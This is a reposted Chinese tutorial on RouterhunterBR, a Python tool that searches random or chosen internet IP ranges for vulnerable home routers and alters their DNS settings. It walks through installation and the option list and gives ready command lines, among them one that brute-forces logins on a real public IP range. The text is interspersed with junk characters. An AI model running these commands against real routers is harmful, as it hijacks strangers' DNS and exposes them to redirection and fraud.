转载的( Q6 f1 n8 ^0 X3 }, k
) o7 b9 x$ w9 Y# k
, Y9 ~! [0 A' s$ J
4 a: x: f# K- g# a0×00 前言我们会介绍一款自动挖掘路由器漏洞的测试工具,它能够自动化在互联网大范围搜索包含漏洞的路由,进行测试、进一步确认这些漏洞问题,其中会涉及D-link 的多款路由器。该工具是采用python 2.X写的,因此我们最好使用python2.7 来运行它,所以希望提前安装好相关的环境。当然我是在kali-linux 下直接运行的,因为该款操作系统是预先安装好了测试环境的。 0×01 下载2 我们将该压缩包 下载到 根目录下, 即是/root/Routerhunter-2.0-master.zip, 然后我们解压在 同一个目录下,即是 /root/Routerhunter 3 我们进入该目录root@kali:~/Routerhunter# 4 运行该程序root@kali:~/Routerhunter# python routerhunter.py -h 5 我们可以看到相关的使用介绍 0×02 介绍 RouterhunterBR 是一个 自动化安全工具,它能够搜索并且自动化测试互联网上路由器的漏洞,Routerhunter 旨在通过互联网去探索自定义的IP地址或者任意的IP地址以便自动地攻击这些家庭路由器中的DNS篡改漏洞,这个脚本能够测试路由器上的四种漏洞
5 ~6 E. ]2 n* ?- d4 S9 f0×03 安装要求& ~# r$ h9 ]) V' ]" Y7 b* @2 a0 p
1 在我们python当中,能够导入如下库 sys, os, argparse, itertools, requests, random, time, threading, base64, socket,datetime 2 如果没有这些库,可以采用如下的任意方式安装 pip install datetimeapt-get install datetimeeasy_install datetime; f1 x8 c/ n, S- g7 c
0×04 使用1 使用说明 optional arguments: # 可选的参数 o1 g4 l# K2 w' Z3 `" \3 ?$ N
-h, –help show this help message and exit # 显示这个帮助信息,然后退出程序2 |; w( _7 x$ ?; f. i
-range 192.168.1.0-255, –range 192.168.1.0-255 Set range of IP #定义需要扫描的IP地址范围。例如 –range 192.168.1.0-255, 可以扫描这个IP段
, w, n2 c" l# a0 u" W" M E -bruteforce, –bruteforce Brute force with users and passwords on routers that requires authentication, forcing alteration of dns. # 暴力破解需要认证的路由器,迫使这些路由器修改DNS
+ q/ i8 G9 k* y" \4 j. y0 k6 l2 ^ -startip 192.168.*.*, –startip 192.168.*.* Start – IP range customized with wildcard / 201.*.*.* # 使用掩码的来定义开始IP地址范围,例如 192.168.*.*
8 d0 Z; C# @+ H% a( _ -endip 192.168.*.*, –endip 192.168.*.* End – IP range customized with wildcard / 201.*.*.* # 使用掩码的来定义结束IP地址范围,例如 192.168.*.*
" T- e2 K' K1 s) |& n -dns1 8.8.8.8, –dns1 8.8.8.8 Define malicious dns1 #定义第一个恶意的DNS,例如可以把这些路由器的DNS改成8.8.8.8( ]- L4 Q. N. H# g
-dns2 8.8.4.4, –dns2 8.8.4.4 Define malicious dns2 #定义第二个恶意的DNS,例如可以把这些路由器的DNS改成8.8.8.85 ]) K4 P2 b. n8 D
–threads 10 Set threads numbers #设置请求线程数目: u3 N1 X6 d# n, U6 \# @# J$ _' x
-rip, –randomip Randomizing ips routers #随机定义网络上的路由器IP" k, |! ]6 M: \9 a( `
-lmtip 10, –limitip 10 Define limite random ip # 定义一定数目的任意IP地址
- l b% o6 P' L7 _ 2 使用案例% H7 n7 b' }+ Y
扫描任意IP: python routerhunter.py --dns1 8.8.8.8 --dns2 8.8.4.8 --randomip --limitip 10 --threads 10 python routerhunter.py --dns1 8.8.8.8 --dns2 8.8.4.8 -rip -lmtip 10 --threads 10
( Z$ o& L. s4 W5 g2 f3 U
8 c3 c7 D( C# p- x: M1 D( m扫描一段IP范围: python routerhunter.py --dns1 8.8.8.8 --dns2 8.8.4.8 --range 192.168.25.0-255 --threads 10
$ d7 M% d; V( f( `5 {9 m/ }使用掩码的形式进行扫描: python routerhunter.py --dns1 8.8.8.8 --dns2 8.8.4.8 --startip 192.168.*.* --endip 192.168.*.* --threads 10
& s2 Q) f4 e, ~暴力破解需要认证的路由器 python routerhunter.py --dns1 8.8.8.8 --dns2 8.8.4.4 --range 177.106.19.65-70 --bruteforce --threads 10- D Z/ q4 E+ n+ M. w
3 使用结果截图 Q* b, N/ O" H: Y. v

, L8 P, U% i# Y; t$ D6 K 0×05 总结1 这个脚本可以用于路由器的渗透测试。 2 在进行路由器安全评估的时候,我们也可以使用这个脚本对其安全性进行检查 3 这是国外一款渗透测试工具的中文译文!请大家多多指教 ^^_^^ - @! I7 V( B+ A- y5 R+ ^
原文链接:http://www.freebuf.com/sectool/101180.html
, B" F( s; B; b" p i { |